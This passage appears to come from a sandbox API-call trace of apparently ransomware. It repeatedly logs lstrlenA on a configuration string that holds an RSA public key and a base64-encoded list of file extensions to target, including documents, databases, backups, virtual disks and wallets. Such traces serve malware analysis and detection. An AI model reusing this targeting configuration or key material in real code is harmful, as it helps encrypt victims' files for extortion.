lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb